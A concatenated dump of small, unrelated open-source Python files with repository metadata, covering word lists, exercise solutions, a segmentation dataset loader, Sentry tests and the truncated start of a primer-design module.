'polecat', 'skunk', 'stoat', 'weasel', 'wolverine', 'seal', 'walrus', 'raccoon', 'ringtail', 'bear', 'panda', 'bat', 'armadillo', 'elephant', 'mammoth', 'mastodon', 'mole', 'hyrax', 'bandicoot', 'bettong', 'cuscus', 'kangaroo', 'koala', 'numbat', 'quokka', 'quoll', 'wallaby', 'wombat', 'echidna', 'platypus', 'tapir', 'anteater', 'sloth', 'agouti', 'beaver', 'capybara', 'chinchilla', 'chipmunk', 'degu', 'dormouse', 'gerbil', 'gopher', 'groundhog', 'jackrabbit', 'jerboa', 'hamster', 'hare', 'lemming', 'marmot', 'mouse', 'muskrat', 'porcupine', 'rabbit', 'rat', 'squirrel', 'vole', 'ape', 'baboon', 'bonobo', 'capuchin', 'chimpanzee', 'galago', 'gibbon', 'gorilla', 'lemur', 'lori', 'macaque', 'mandrill', 'marmoset', 'monkey', 'orangutan', 'tamarin', 'tarsier', 'uakari', 'dugong', 'manatee', 'shrew', 'aardwark', 'clam', 'cockle', 'mussel', 'oyster', 'scallop', 'shellfish', 'ammonite', 'cuttlefish', 'nautilus', 'octopus', 'squid', 'limpet', 'slug', 'snail', 'sponge', 'tuatara', 'agama', 'chameleon', 'dragon', 'gecko', 'iguana', 'lizard', 'pogona', 'skink', 'adder', 'anaconda', 'asp', 'boa', 'cobra', 'copperhead', 'mamba', 'python', 'rattlesnake', 'sidewinder', 'snake', 'taipan', 'viper', 'tortoise', 'turtle', 'dinosaur', 'raptor', 'mushroom'], 'max_length': 13}, 'color': {'type': 'words', 'words': ['almond', 'amaranth', 'apricot', 'artichoke', 'auburn', 'azure', 'banana', 'beige', 'black', 'blond', 'blue', 'brown', 'burgundy', 'carmine', 'carrot', 'celadon', 'cerise', 'cerulean', 'charcoal', 'cherry', 'chestnut', 'chocolate', 'cinnamon', 'copper', 'cream', 'crimson', 'cyan', 'daffodil', 'dandelion', 'denim', 'ebony', 'eggplant', 'gray', 'ginger', 'green', 'indigo', 'infrared', 'jasmine', 'khaki', 'lavender', 'lilac', 'mauve', 'magenta', 'mahogany', 'maize', 'marigold', 'mustard', 'ochre', 'orange', 'papaya', 'peach', 'persimmon', 'pink', 'pistachio', 'pumpkin', 'purple', 'raspberry', 'red', 'rose', 'russet', 'saffron', 'sage', 'scarlet', 'sepia', 'silver', 'tan', 'tangerine', 'taupe', 'teal', 'tomato', 'turquoise', 'tuscan', 'ultramarine', 'ultraviolet', 'umber', 'vanilla', 'vermilion', 'violet', 'viridian', 'white', 'wine', 'wisteria', 'yellow', 'agate', 'amber', 'amethyst', 'aquamarine', 'asparagus', 'beryl', 'brass', 'bronze', 'cobalt', 'coral', 'cornflower', 'diamond', 'emerald', 'garnet', 'golden', 'granite', 'ivory', 'jade', 'jasper', 'lemon', 'lime', 'malachite', 'maroon', 'myrtle', 'nickel', 'olive', 'olivine', 'onyx', 'opal', 'orchid', 'pearl', 'peridot', 'platinum', 'quartz', 'ruby', 'sandy', 'sapphire', 'steel', 'thistle', 'topaz', 'tourmaline', 'tungsten', 'xanthic', 'zircon'], 'max_length': 13}, 'noun_adjective': {'type': 'words', 'words': ['fancy', 'magic', 'rainbow', 'woodoo'], 'max_length': 13}, 'animal_legendary': {'type': 'words', 'words': ['basilisk', 'chupacabra', 'dragon', 'griffin', 'pegasus', 'unicorn'], 'max_length': 13}, 'adjective_first': {'type': 'words', 'words': ['first', 'new'], 'max_length': 13}} # Python 2 compatibility - all words must be unicode # (this is to make Python 2 and 3 both work from the same __init__.py code) try: for listdef in config.values(): if listdef['type'] == 'words': listdef['words'] = [unicode(x) for x in listdef['words']] elif listdef['type'] == 'phrases': listdef['phrases'] = [tuple(unicode(y) for y in x) for x in listdef['phrases']] elif listdef['type'] == 'const': listdef['value'] = unicode(listdef['value']) except NameError: pass

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d048064ead7cf805cc801ac427670acb8dc21362

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py

Python

siaw/__init__.py

SnailZSJ/SayItAnotherWay

73a3071c27e5aef77a412ec5a9a3aaa319785850

[ "MIT" ]

2

2020-07-23T02:19:06.000Z

2021-02-20T06:10:46.000Z

siaw/__init__.py

SnailZSJ/SayItAnotherWay

73a3071c27e5aef77a412ec5a9a3aaa319785850

[ "MIT" ]

null

siaw/__init__.py

SnailZSJ/SayItAnotherWay

73a3071c27e5aef77a412ec5a9a3aaa319785850

[ "MIT" ]

1

2020-07-23T02:19:07.000Z

from .utils import * from .say_it_another_way import SayItAnotherWay

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d0663ade98ebca2779a0de82791c70ac255bf0b8

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py

Python

pdns-mysql-domain-exp/lib/exceptions.py

kilgoretrout1985/pdns-mysql-domain-exp

9692971da82d625b242c740d9be8e2130a483249

[ "MIT" ]

null

pdns-mysql-domain-exp/lib/exceptions.py

kilgoretrout1985/pdns-mysql-domain-exp

9692971da82d625b242c740d9be8e2130a483249

[ "MIT" ]

null

pdns-mysql-domain-exp/lib/exceptions.py

kilgoretrout1985/pdns-mysql-domain-exp

9692971da82d625b242c740d9be8e2130a483249

[ "MIT" ]

null

class MyTooManyWhoisQuerisError(Exception): pass class MyWhoisBanError(Exception): pass

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d06bd4492f0599ac38bad796f04db03e5095ff52

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py

Python

codewof/programming/content/en/print-codewof/solution.py

taskmaker1/codewof

92d52cd3ee91f0f311ff01a92cf6ec07e5593b8d

[ "MIT" ]

3

2019-08-29T04:11:22.000Z

2021-06-22T16:05:51.000Z

codewof/programming/content/en/print-codewof/solution.py

taskmaker1/codewof

92d52cd3ee91f0f311ff01a92cf6ec07e5593b8d

[ "MIT" ]

265

2019-05-30T03:51:46.000Z

2022-03-31T01:05:12.000Z

codewof/programming/content/en/print-codewof/solution.py

samuelsandri/codewof

c9b8b378c06b15a0c42ae863b8f46581de04fdfc

[ "MIT" ]

7

2019-06-29T12:13:37.000Z

2021-09-06T06:49:14.000Z

def print_codewof(): print("Welcome to codeWOF!")

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Python

dataset.py

yinmh17/semantic-segmentation-pytorch

74aac07b71a854f00b526d869bf06760ae0d40cf

[ "BSD-3-Clause" ]

null

dataset.py

yinmh17/semantic-segmentation-pytorch

74aac07b71a854f00b526d869bf06760ae0d40cf

[ "BSD-3-Clause" ]

null

dataset.py

yinmh17/semantic-segmentation-pytorch

74aac07b71a854f00b526d869bf06760ae0d40cf

[ "BSD-3-Clause" ]

null

import os import json import torch from torchvision import transforms import numpy as np from PIL import Image from lib.utils.zipreader import ZipReader import cv2 import random import collections def get_convert_label_fn(odgt): """ A function that converts labels to expected range [-1, num_classes-1] where -1 is ignored. When using custom dataset, you might want to add your own function. """ def convert_ade_label(segm): "Convert ADE labels to range [-1, 149]" return segm - 1 def convert_cityscapes_label(segm): "Convert cityscapes labels to range [-1, 18]" ignore_label = -1 label_mapping = { -1: ignore_label, 0: ignore_label, 1: ignore_label, 2: ignore_label, 3: ignore_label, 4: ignore_label, 5: ignore_label, 6: ignore_label, 7: 0, 8: 1, 9: ignore_label, 10: ignore_label, 11: 2, 12: 3, 13: 4, 14: ignore_label, 15: ignore_label, 16: ignore_label, 17: 5, 18: ignore_label, 19: 6, 20: 7, 21: 8, 22: 9, 23: 10, 24: 11, 25: 12, 26: 13, 27: 14, 28: 15, 29: ignore_label, 30: ignore_label, 31: 16, 32: 17, 33: 18} temp = segm.clone() for k, v in label_mapping.items(): segm[temp == k] = v return segm if 'cityscapes' in odgt.lower(): return convert_cityscapes_label elif 'ade' in odgt.lower(): return convert_ade_label else: return lambda x: x def imresize(im, size, interp='bilinear'): if interp == 'nearest': resample = PIL.Image.NEAREST elif interp == 'bilinear': resample = PIL.Image.BILINEAR elif interp == 'bicubic': resample = PIL.Image.BICUBIC else: raise Exception('resample method undefined!') return np.array( PIL.Image.fromarray(im).resize((size[1], size[0]), resample) ) class BaseDataset(torch.utils.data.Dataset): def __init__(self, odgt, opt, **kwargs): # parse options self.imgSizes = opt.imgSizes self.imgMaxSize = opt.imgMaxSize # max down sampling rate of network to avoid rounding during conv or pooling self.padding_constant = opt.padding_constant # parse the input list self.parse_input_list(odgt, **kwargs) # mean and std self.normalize = transforms.Normalize( mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.convert_label = get_convert_label_fn(odgt) def parse_input_list(self, odgt, max_sample=-1, start_idx=-1, end_idx=-1): if isinstance(odgt, list): self.list_sample = odgt elif isinstance(odgt, str): self.list_sample = [json.loads(x.rstrip()) for x in open(odgt, 'r')] if max_sample > 0: self.list_sample = self.list_sample[0:max_sample] if start_idx >= 0 and end_idx >= 0: # divide file list self.list_sample = self.list_sample[start_idx:end_idx] self.num_sample = len(self.list_sample) assert self.num_sample > 0 print('# samples: {}'.format(self.num_sample)) def img_transform(self, img): # 0-255 to 0-1 img = np.float32(img) / 255. img = img.transpose((2, 0, 1)) img = self.normalize(torch.from_numpy(img.copy())) return img def segm_transform_ade(self, segm): # to tensor, -1 to 149 segm = torch.from_numpy(segm).long() - 1 return segm def segm_transform_citi(self, segm): # transform segm label to tensor segm = torch.from_numpy(segm).long() # convert/map labels to expected range segm = self.convert_label(segm) return segm # Round x to the nearest multiple of p and x' >= x def round2nearest_multiple(self, x, p): return ((x - 1) // p + 1) * p class TrainDataset(BaseDataset): def __init__(self, root_dataset, odgt, opt, batch_per_gpu=1, **kwargs): super(TrainDataset, self).__init__(odgt, opt, **kwargs) self.root_dataset = root_dataset # down sampling rate of segm labe self.segm_downsampling_rate = opt.segm_downsampling_rate self.batch_per_gpu = batch_per_gpu # classify images into two classes: 1. h > w and 2. h <= w self.batch_record_list = [[], []] # override dataset length when trainig with batch_per_gpu > 1 self.cur_idx = 0 self.if_shuffled = False self.odgt = odgt def _get_sub_batch(self): while True: # get a sample record this_sample = self.list_sample[self.cur_idx] if this_sample['height'] > this_sample['width']: self.batch_record_list[0].append(this_sample) # h > w, go to 1st class else: self.batch_record_list[1].append(this_sample) # h <= w, go to 2nd class # update current sample pointer self.cur_idx += 1 if self.cur_idx >= self.num_sample: self.cur_idx = 0 np.random.shuffle(self.list_sample) if len(self.batch_record_list[0]) == self.batch_per_gpu: batch_records = self.batch_record_list[0] self.batch_record_list[0] = [] break elif len(self.batch_record_list[1]) == self.batch_per_gpu: batch_records = self.batch_record_list[1] self.batch_record_list[1] = [] break return batch_records def __getitem__(self, index): # NOTE: random shuffle for the first time. shuffle in __init__ is useless if not self.if_shuffled: np.random.seed(index) np.random.shuffle(self.list_sample) self.if_shuffled = True # get sub-batch candidates batch_records = self._get_sub_batch() # resize all images' short edges to the chosen size if isinstance(self.imgSizes, list) or isinstance(self.imgSizes, tuple): this_short_size = np.random.choice(self.imgSizes) else: this_short_size = self.imgSizes # calculate the BATCH's height and width # since we concat more than one samples, the batch's h and w shall be larger than EACH sample batch_widths = np.zeros(self.batch_per_gpu, np.int32) batch_heights = np.zeros(self.batch_per_gpu, np.int32) for i in range(self.batch_per_gpu): img_height, img_width = batch_records[i]['height'], batch_records[i]['width'] this_scale = min( this_short_size / min(img_height, img_width), \ self.imgMaxSize / max(img_height, img_width)) batch_widths[i] = img_width * this_scale batch_heights[i] = img_height * this_scale # Here we must pad both input image and segmentation map to size h' and w' so that p | h' and p | w' batch_width = np.max(batch_widths) batch_height = np.max(batch_heights) batch_width = int(self.round2nearest_multiple(batch_width, self.padding_constant)) batch_height = int(self.round2nearest_multiple(batch_height, self.padding_constant)) assert self.padding_constant >= self.segm_downsampling_rate, \ 'padding constant must be equal or large than segm downsamping rate' batch_images = torch.zeros( self.batch_per_gpu, 3, batch_height, batch_width) batch_segms = torch.zeros( self.batch_per_gpu, batch_height // self.segm_downsampling_rate, batch_width // self.segm_downsampling_rate).long() for i in range(self.batch_per_gpu): this_record = batch_records[i] # load image and label image_path = self.root_dataset+'ADEChallengeData2016.zip@/ADEChallengeData2016'+this_record['fpath_img'].lstrip('ADEChallengeData2016') segm_path = self.root_dataset+'ADEChallengeData2016.zip@/ADEChallengeData2016'+this_record['fpath_segm'].lstrip('ADEChallengeData2016') if 'cityscapes' in self.odgt.lower(): image_path = self.root_dataset+'leftImg8bit_trainvaltest.zip@/leftImg8bit/'\ +'/'.join(this_record['fpath_img'].split('/')[2:]) segm_path = self.root_dataset+'gtFine_trainvaltest.zip@/gtFine/'\ +'/'.join(this_record['fpath_segm'].split('/')[2:]) img = ZipReader.imread(image_path, 'BGR') img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) segm = ZipReader.imread(segm_path, 'P') #assert(segm.mode == "L") assert(img.shape[0] == segm.shape[0]) assert(img.shape[1] == segm.shape[1]) # random_flip flip = np.random.choice(2) * 2 - 1 img = img[:, ::flip, :] segm = segm[:, ::flip] # note that each sample within a mini batch has different scale param img = cv2.resize(img, (batch_widths[i], batch_heights[i]), cv2.INTER_LINEAR) segm = cv2.resize(segm, (batch_widths[i], batch_heights[i]), cv2.INTER_NEAREST) # further downsample seg label, need to avoid seg label misalignment segm_rounded_height = self.round2nearest_multiple(segm.shape[0], self.segm_downsampling_rate) segm_rounded_width = self.round2nearest_multiple(segm.shape[1], self.segm_downsampling_rate) segm_rounded = np.zeros((segm_rounded_height, segm_rounded_width), dtype='uint8') segm_rounded[:segm.shape[0], :segm.shape[1]] = segm segm = cv2.resize( segm_rounded, (segm_rounded.shape[1] // self.segm_downsampling_rate, \ segm_rounded.shape[0] // self.segm_downsampling_rate), \ cv2.INTER_NEAREST) # image transform, to torch float tensor 3xHxW img = self.img_transform(img) # segm transform, to torch long tensor HxW segm = self.segm_transform_ade(segm) if 'cityscapes' in self.odgt.lower(): segm = self.convert_label(segm) # put into batch arrays batch_images[i][:, :img.shape[1], :img.shape[2]] = img batch_segms[i][:segm.shape[0], :segm.shape[1]] = segm output = dict() output['img_data'] = batch_images output['seg_label'] = batch_segms return output def __len__(self): return int(1e10) # It's a fake length due to the trick that every loader maintains its own list #return self.num_sampleclass class ValDataset(BaseDataset): def __init__(self, root_dataset, odgt, opt, **kwargs): super(ValDataset, self).__init__(odgt, opt, **kwargs) self.root_dataset = root_dataset self.odgt = odgt def __getitem__(self, index): this_record = self.list_sample[index] # load image and label image_path = self.root_dataset + 'ADEChallengeData2016.zip@/ADEChallengeData2016' + this_record['fpath_img'].lstrip('ADEChallengeData2016') segm_path = self.root_dataset + 'ADEChallengeData2016.zip@/ADEChallengeData2016' + this_record['fpath_segm'].lstrip('ADEChallengeData2016') if 'cityscapes' in self.odgt.lower(): image_path = self.root_dataset + 'leftImg8bit_trainvaltest.zip@/leftImg8bit/' \ + '/'.join(this_record['fpath_img'].split('/')[2:]) segm_path = self.root_dataset + 'gtFine_trainvaltest.zip@/gtFine/' \ + '/'.join(this_record['fpath_segm'].split('/')[2:]) img = ZipReader.imread(image_path, 'BGR') img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) segm = ZipReader.imread(segm_path, 'P') assert(img.shape[0] == segm.shape[0]) assert(img.shape[1] == segm.shape[1]) ori_width, ori_height = img.shape[1], img.shape[0] img_resized_list = [] for this_short_size in self.imgSizes: # calculate target height and width scale = min(this_short_size / float(min(ori_height, ori_width)), self.imgMaxSize / float(max(ori_height, ori_width))) target_height, target_width = int(ori_height * scale), int(ori_width * scale) # to avoid rounding in network target_width = self.round2nearest_multiple(target_width, self.padding_constant) target_height = self.round2nearest_multiple(target_height, self.padding_constant) # resize images img_resized = cv2.resize(img, (target_width, target_height), cv2.INTER_LINEAR) # image transform, to torch float tensor 3xHxW img_resized = self.img_transform(img_resized) img_resized = torch.unsqueeze(img_resized, 0) img_resized_list.append(img_resized) # segm transform, to torch long tensor HxW segm = self.segm_transform_ade(segm) if 'cityscapes' in self.odgt.lower(): segm = self.convert_label(segm) batch_segms = torch.unsqueeze(segm, 0) output = dict() output['img_ori'] = np.array(img) output['img_data'] = [x.contiguous() for x in img_resized_list] output['seg_label'] = batch_segms.contiguous() output['info'] = this_record['fpath_img'] return output def __len__(self): return self.num_sample class TestDataset(BaseDataset): def __init__(self, odgt, opt, **kwargs): super(TestDataset, self).__init__(odgt, opt, **kwargs) def __getitem__(self, index): this_record = self.list_sample[index] # load image image_path = this_record['fpath_img'] img = Image.open(image_path).convert('RGB') ori_width, ori_height = img.size img_resized_list = [] for this_short_size in self.imgSizes: # calculate target height and width scale = min(this_short_size / float(min(ori_height, ori_width)), self.imgMaxSize / float(max(ori_height, ori_width))) target_height, target_width = int(ori_height * scale), int(ori_width * scale) # to avoid rounding in network target_width = self.round2nearest_multiple(target_width, self.padding_constant) target_height = self.round2nearest_multiple(target_height, self.padding_constant) # resize images img_resized = imresize(img, (target_width, target_height), interp='bilinear') # image transform, to torch float tensor 3xHxW img_resized = self.img_transform(img_resized) img_resized = torch.unsqueeze(img_resized, 0) img_resized_list.append(img_resized) output = dict() output['img_ori'] = np.array(img) output['img_data'] = [x.contiguous() for x in img_resized_list] output['info'] = this_record['fpath_img'] return output def __len__(self): return self.num_sample class CropTrainDataset(BaseDataset): def __init__(self, root_dataset, cropsize, odgt, opt, batch_per_gpu=1, **kwargs): super(CropTrainDataset, self).__init__(odgt, opt, **kwargs) self.root_dataset = root_dataset # down sampling rate of segm labe self.segm_downsampling_rate = opt.segm_downsampling_rate self.batch_per_gpu = batch_per_gpu # classify images into two classes: 1. h > w and 2. h <= w self.batch_record_list = [[], []] # override dataset length when trainig with batch_per_gpu > 1 self.cur_idx = 0 self.if_shuffled = False self.odgt = odgt self.cropsize=cropsize self.crop_h=cropsize[0] self.crop_w=cropsize[1] self.ignore_label=0 def _get_sub_batch(self): while True: # get a sample record this_sample = self.list_sample[self.cur_idx] if this_sample['height'] > this_sample['width']: self.batch_record_list[0].append(this_sample) # h > w, go to 1st class else: self.batch_record_list[1].append(this_sample) # h <= w, go to 2nd class # update current sample pointer self.cur_idx += 1 if self.cur_idx >= self.num_sample: self.cur_idx = 0 np.random.shuffle(self.list_sample) if len(self.batch_record_list[0]) == self.batch_per_gpu: batch_records = self.batch_record_list[0] self.batch_record_list[0] = [] break elif len(self.batch_record_list[1]) == self.batch_per_gpu: batch_records = self.batch_record_list[1] self.batch_record_list[1] = [] break return batch_records def __getitem__(self, index): # NOTE: random shuffle for the first time. shuffle in __init__ is useless if not self.if_shuffled: np.random.seed(index) np.random.shuffle(self.list_sample) self.if_shuffled = True # get sub-batch candidates batch_records = self._get_sub_batch() # resize all images' short edges to the chosen size if isinstance(self.imgSizes, list) or isinstance(self.imgSizes, tuple): this_short_size = np.random.choice(self.imgSizes) else: this_short_size = self.imgSizes # calculate the BATCH's height and width # since we concat more than one samples, the batch's h and w shall be larger than EACH sample batch_widths = np.zeros(self.batch_per_gpu, np.int32) batch_heights = np.zeros(self.batch_per_gpu, np.int32) for i in range(self.batch_per_gpu): img_height, img_width = batch_records[i]['height'], batch_records[i]['width'] this_scale = min( this_short_size / min(img_height, img_width), \ self.imgMaxSize / max(img_height, img_width)) batch_widths[i] = img_width * this_scale batch_heights[i] = img_height * this_scale # Here we must pad both input image and segmentation map to size h' and w' so that p | h' and p | w' #batch_width = np.max(batch_widths) #batch_height = np.max(batch_heights) #batch_width = int(self.round2nearest_multiple(batch_width, self.padding_constant)) #batch_height = int(self.round2nearest_multiple(batch_height, self.padding_constant)) batch_height = self.cropsize[0] batch_width = self.cropsize[1] batch_width = int(self.round2nearest_multiple(batch_width, self.padding_constant)) batch_height = int(self.round2nearest_multiple(batch_height, self.padding_constant)) assert self.padding_constant >= self.segm_downsampling_rate, \ 'padding constant must be equal or large than segm downsamping rate' batch_images = torch.zeros( self.batch_per_gpu, 3, batch_height, batch_width) batch_segms = torch.zeros( self.batch_per_gpu, batch_height // self.segm_downsampling_rate, batch_width // self.segm_downsampling_rate).long() for i in range(self.batch_per_gpu): this_record = batch_records[i] # load image and label image_path = self.root_dataset+'ADEChallengeData2016.zip@/ADEChallengeData2016'\ +this_record['fpath_img'].lstrip('ADEChallengeData2016') segm_path = self.root_dataset+'ADEChallengeData2016.zip@/ADEChallengeData2016'\ +this_record['fpath_segm'].lstrip('ADEChallengeData2016') img = ZipReader.imread(image_path, 'BGR') img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) segm = ZipReader.imread(segm_path, 'P') #assert(segm.mode == "L") assert(img.shape[0] == segm.shape[0]) assert(img.shape[1] == segm.shape[1]) # random_flip flip = np.random.choice(2) * 2 - 1 img = img[:, ::flip, :] segm = segm[:, ::flip] # note that each sample within a mini batch has different scale param img = cv2.resize(img, (batch_widths[i], batch_heights[i]), cv2.INTER_LINEAR) segm = cv2.resize(segm, (batch_widths[i], batch_heights[i]), cv2.INTER_NEAREST) img_h, img_w = segm.shape pad_h = max(self.crop_h - img_h, 0) pad_w = max(self.crop_w - img_w, 0) if pad_h > 0 or pad_w > 0: img_pad = cv2.copyMakeBorder(img, 0, pad_h, 0, pad_w, cv2.BORDER_CONSTANT, value=(0.0, 0.0, 0.0)) segm_pad = cv2.copyMakeBorder(segm, 0, pad_h, 0, pad_w, cv2.BORDER_CONSTANT, value=(self.ignore_label,)) else: img_pad, segm_pad = img, segm img_h, img_w = segm_pad.shape h_off = random.randint(0, img_h - self.crop_h) w_off = random.randint(0, img_w - self.crop_w) # roi = cv2.Rect(w_off, h_off, self.crop_w, self.crop_h); img = np.asarray(img_pad[h_off : h_off+self.crop_h, w_off : w_off+self.crop_w], np.float32) segm = np.asarray(segm_pad[h_off : h_off+self.crop_h, w_off : w_off+self.crop_w], np.float32) #image = image[:, :, ::-1] # change to BGR #img = img.transpose((2, 0, 1)) # further downsample seg label, need to avoid seg label misalignment segm_rounded_height = self.round2nearest_multiple(segm.shape[0], self.segm_downsampling_rate) segm_rounded_width = self.round2nearest_multiple(segm.shape[1], self.segm_downsampling_rate) segm_rounded = np.zeros((segm_rounded_height, segm_rounded_width), dtype='uint8') segm_rounded[:segm.shape[0], :segm.shape[1]] = segm segm = cv2.resize( segm_rounded, (segm_rounded.shape[1] // self.segm_downsampling_rate, \ segm_rounded.shape[0] // self.segm_downsampling_rate), \ cv2.INTER_NEAREST) # image transform, to torch float tensor 3xHxW img = self.img_transform(img) segm = self.segm_transform_ade(segm) batch_images[i][:, :img.shape[1], :img.shape[2]] = img batch_segms[i][:segm.shape[0], :segm.shape[1]] = segm output = dict() output['img_data'] = batch_images output['seg_label'] = batch_segms return output def __len__(self): return int(1e10) # It's a fake length due to the trick that every loader maintains its own list #return self.num_sampleclass

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0.157333

0.002667

0

null

0

1

0

null

0

5

d08c56b043852f856164ed72329bc03881672030

85

py

Python

warmup-1/missing_char.py

ibLeDy/codingbat-python

246df68940f1bb3b25bdc070906ad2ba42b0c447

[ "MIT" ]

null

warmup-1/missing_char.py

ibLeDy/codingbat-python

246df68940f1bb3b25bdc070906ad2ba42b0c447

[ "MIT" ]

null

warmup-1/missing_char.py

ibLeDy/codingbat-python

246df68940f1bb3b25bdc070906ad2ba42b0c447

[ "MIT" ]

null

def missing_char(str, n): return "".join([v for i, v in enumerate(str) if i != n])

28.333333

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1

0

null

0

1

0

1

0

5

d0ae499fbb1b24f7fefd45aad242e5a72a1bc959

1,322

py

Python

tests/ext/test_sentry.py

olist/olist-loafer

cb3bc0a46ca5a343fbd455181045212e4d032ce6

[ "MIT" ]

11

2017-10-06T18:18:16.000Z

2021-12-23T11:34:11.000Z

tests/ext/test_sentry.py

pydrinker/pydrinker-loafer

32d2a36827f15cc2b5362ee54da7702267da24c9

[ "MIT" ]

7

2017-02-16T13:20:54.000Z

2020-11-03T13:50:46.000Z

tests/ext/test_sentry.py

pydrinker/pydrinker-loafer

32d2a36827f15cc2b5362ee54da7702267da24c9

[ "MIT" ]

2

2017-10-06T18:18:31.000Z

2020-09-10T15:09:45.000Z

from unittest import mock from loafer.ext.sentry import sentry_handler class MockScope: def __init__(self): self.set_extra = mock.Mock() def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): return None def test_sentry_handler(): mock_scope = MockScope() sdk_mocked = mock.Mock() sdk_mocked.push_scope.return_value = mock_scope handler = sentry_handler(sdk_mocked) exc = ValueError("test") exc_info = (type(exc), exc, None) delete_message = handler(exc_info, "test") assert delete_message is False assert sdk_mocked.push_scope.called mock_scope.set_extra.assert_called_once_with("message", "test") sdk_mocked.capture_exception.assert_called_once_with(exc_info) def test_sentry_handler_delete_message(): mock_scope = MockScope() sdk_mocked = mock.Mock() sdk_mocked.push_scope.return_value = mock_scope handler = sentry_handler(sdk_mocked, delete_message=True) exc = ValueError("test") exc_info = (type(exc), exc, None) delete_message = handler(exc_info, "test") assert delete_message is True assert sdk_mocked.push_scope.called mock_scope.set_extra.assert_called_once_with("message", "test") sdk_mocked.capture_exception.assert_called_once_with(exc_info)

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0.100559

0.058101

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null

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null

0

5

ef723897a071963ef285c006b581299542b0a816

189

py

Python

python/basic_course_python/exercises/bank_account/utils.py

ademilsoncarvalho/estudos

ae7b73a6154c29d54be367066803323c6eb52907

[ "MIT" ]

null

python/basic_course_python/exercises/bank_account/utils.py

ademilsoncarvalho/estudos

ae7b73a6154c29d54be367066803323c6eb52907

[ "MIT" ]

null

python/basic_course_python/exercises/bank_account/utils.py

ademilsoncarvalho/estudos

ae7b73a6154c29d54be367066803323c6eb52907

[ "MIT" ]

null

import os def clear_display(): os.system('clear') def get_header(): print("*******************") print("********Ademilson Bank***********") print("*******************")

15.75

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189

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true

0

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0

1

0

null

0

1

0

1

0

5

ef92f6fb4f799990c76dc7dd9e2f5e98a8e1962e

53

py

Python

0x09-python-everything_is_object/19-copy_list.py

ricardo1470/holbertonschool-higher_level_programming

aab73c8efee665b0215958ee7b338871f13634bc

[ "CNRI-Python" ]

1

2021-01-27T03:13:32.000Z

0x09-python-everything_is_object/19-copy_list.py

ricardo1470/holbertonschool-higher_level_programming

aab73c8efee665b0215958ee7b338871f13634bc

[ "CNRI-Python" ]

null

0x09-python-everything_is_object/19-copy_list.py

ricardo1470/holbertonschool-higher_level_programming

aab73c8efee665b0215958ee7b338871f13634bc

[ "CNRI-Python" ]

2

2021-01-09T04:45:30.000Z

2021-07-13T04:23:47.000Z

#!/usr/bin/python3 def copy_list(l): return l[:]

13.25

18

0.622642

9

53

3.555556

0.888889

0

0.022727

0.169811

53

3

19

17.666667

0.704545

0.320755

0

1

0.5

false

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

efc46f91dadfc0f9314d746a851c981990db5473

101

py

Python

scheduled_sheet_fetch.py

Petricpwnz/Map-Pool-App

7654e427e87f81d1305c54542e0308d731b431b6

[ "MIT" ]

null

scheduled_sheet_fetch.py

Petricpwnz/Map-Pool-App

7654e427e87f81d1305c54542e0308d731b431b6

[ "MIT" ]

2

2020-02-11T23:37:07.000Z

2020-06-05T20:01:47.000Z

scheduled_sheet_fetch.py

Petricpwnz/Map-Pool-App

7654e427e87f81d1305c54542e0308d731b431b6

[ "MIT" ]

null

from mappool.extra_logic.maps import MapPool fetch_maps = MapPool() fetch_maps.fetchMapsIntoJson()

16.833333

44

0.821782

13

101

6.153846

0.615385

0.3

0.4

0

0.09901

101

5

45

20.2

0.879121

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

null

0

1

0

5

ef26da881e4853f9aeb236b4f3885adc11d44607

181

py

Python

tests/utils.py

pelme/freezegun

415314bbed741a20d123d0479c480d01c2ad4286

[ "Apache-2.0" ]

null

tests/utils.py

pelme/freezegun

415314bbed741a20d123d0479c480d01c2ad4286

[ "Apache-2.0" ]

null

tests/utils.py

pelme/freezegun

415314bbed741a20d123d0479c480d01c2ad4286

[ "Apache-2.0" ]

null

from freezegun.api import FakeDate, FakeDatetime def is_fake_date(obj): return obj.__class__ is FakeDate def is_fake_datetime(obj): return obj.__class__ is FakeDatetime

18.1

48

0.78453

26

181

5

0.538462

0.076923

0.138462

0.261538

0.292308

0

0.160221

181

9

49

20.111111

0.855263

0

1

0.4

false

0

0.2

0.4

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

ef2c4f08596d27057489cda0654506c1b7af5dc9

20,573

py

Python

py/genetargeter/primerSelection.py

pablocarderam/genetargeter

4cd257d02e0753c1be9fa339aa505bb895315a6d

[ "MIT" ]

null

py/genetargeter/primerSelection.py

pablocarderam/genetargeter

4cd257d02e0753c1be9fa339aa505bb895315a6d

[ "MIT" ]

2

2021-06-02T15:28:52.000Z

2021-06-17T12:08:53.000Z

py/genetargeter/primerSelection.py

pablocarderam/genetargeter

4cd257d02e0753c1be9fa339aa505bb895315a6d

[ "MIT" ]

null

from builtins import str from py.utils.BioUtils import *; # Imports utils from py.utils.GenBankToolbox import *; # Imports utils from py.genetargeter.constants import *; # Imports constants """ Creates list with GenBankAnn objects for forward and reverse primers for obtaining part given. Poor design, user should check with other tools afterwards. """ def createPrimers(plasmid, part, rangeSize=[18,22,50], rangeMeltTemp=[55,62,65], maxTempDif=3): #TODO: this code is a little crap. log = ""; # init log startPF = part.index[0]; # Rev primer preferred start position endPF = part.index[0] + rangeSize[1]; # Rev primer preferred end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence if meltingTemp(primFwdSeq) < rangeMeltTemp[0] or meltingTemp(primFwdSeq) > rangeMeltTemp[2] or not primFwdSeq[len(primFwdSeq)-1].upper().replace("G","C") == "C": # if out of Tm range or no GC clamp endPF = part.index[0] + rangeSize[0]; # Smallest fwd primer end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence maxIndexes = [startPF, endPF]; # store start and end positions of best primer in search range while (meltingTemp(primFwdSeq) < rangeMeltTemp[0] or meltingTemp(primFwdSeq) > rangeMeltTemp[2] or not primFwdSeq[len(primFwdSeq)-1].upper().replace("G","C") == "C") and rangeSize[0] <= len(primFwdSeq) <= rangeSize[2]: # while still no suitable Tm found or no gc clamp and still within length parameters, endPF = endPF + 1; # shift primer start position upstream primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence if meltingTemp(primFwdSeq)-rangeMeltTemp[1] > 